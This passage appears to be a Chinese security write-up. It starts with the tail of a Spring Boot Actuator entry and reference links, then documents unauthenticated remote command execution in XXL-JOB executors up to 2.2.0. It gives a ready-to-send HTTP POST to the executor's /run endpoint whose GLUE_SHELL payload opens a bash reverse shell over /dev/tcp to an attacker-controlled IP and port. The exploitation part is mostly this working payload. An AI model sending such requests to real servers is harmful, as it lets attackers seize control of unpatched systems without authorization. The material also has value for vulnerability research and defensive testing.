命令执行成功。
image

参考文章

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
http://radiosong.cn/index.php/2019/04/03/1.html
https://xz.aliyun.com/t/4258
http://r3start.net/index.php/2019/01/20/377
https://github.com/mpgn/Spring-Boot-Actuator-Exploit
https://www.secshi.com/21506.html
https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/#0x04-%E6%9E%84%E9%80%A0poc
https://www.anquanke.com/post/id/195929
http://vulsee.com/archives/vulsee_2019/1025_9168.html

XXL-JOB executor未授权访问漏洞

XXL-JOB executor未授权访问漏洞

漏洞详情

XXL-JOB是一个轻量级分布式任务调度平台。默认情况下XXL-JOB的Restful API接口或RPC接口没有配置认证措施,未授权的攻击者可构造恶意请求,造成远程执行命令,直接控制服务器。

漏洞影响

XXL-JOB <= 2.2.0

漏洞分析

XXL-JOB的Restful API分为两种,一个 调度中心Restful API,一个 执行器Restful API。其中在执行器Restful API的任务触发声明中,发送请求的数据格式为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
地址格式:
{执行器内嵌服务跟地址}/run //也就是说为executor端的地址,ip:9999/run

Header:
XXL-JOB-ACCESS-TOKEN : {请求令牌}

请求数据格式如下,放置在 RequestBody 中,JSON格式:
{
"jobId":1, // 任务ID
"executorHandler":"demoJobHandler", // 任务标识
"executorParams":"demoJobHandler", // 任务参数
"executorBlockStrategy":"COVER_EARLY", // 任务阻塞策略,可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum
"executorTimeout":0, // 任务超时时间,单位秒,大于零时生效
"logId":1, // 本次调度日志ID
"logDateTime":1586629003729, // 本次调度日志时间
"glueType":"BEAN", // 任务模式,可选值参考 com.xxl.job.core.glue.GlueTypeEnum "glueSource":"xxx", // GLUE脚本代码
"glueUpdatetime":1586629003727, // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新
"broadcastIndex":0, // 分片参数:当前分片
"broadcastTotal":0 // 分片参数:总分片
}

响应数据格式:
{ "code": 200, // 200 表示正常、其他失败 "msg": null // 错误提示消息 }

其中”glueType”:”BEAN” 任务模式的选值如下

1
2
3
4
5
6
7
BEAN("BEAN", false, null, null),
GLUE_GROOVY("GLUE(Java)", false, null, null),
GLUE_SHELL("GLUE(Shell)", true, "bash", ".sh"),
GLUE_PYTHON("GLUE(Python)", true, "python", ".py"),
GLUE_PHP("GLUE(PHP)", true, "php", ".php"),
GLUE_NODEJS("GLUE(Nodejs)", true, "node", ".js"),
GLUE_POWERSHELL("GLUE(PowerShell)", true, "powershell", ".ps1");

也就是说我们可以从中任意选择一种脚本语言,然后在”glueSource”:”xxx”中插入相对应的脚本代码即可执行相对应的命令。

比如对方如果是linux系统的服务器,那么就可以构造反弹shell命令执行代码为:

1
2
"glueType":"GLUE_SHELLl"
"glueSource":"/bin/bash / -i >& /dev/tcp/ip/port 0>&1"

漏洞利用

访问XXL-JOB存在漏洞版本的客户端(executor),利用burpsuite发送如下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /run HTTP/1.1
Host: ip:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 394

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "/bin/bash -i >& /dev/tcp/192.168.30.1/5555 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

image

开启监听后,即可反弹回shell

image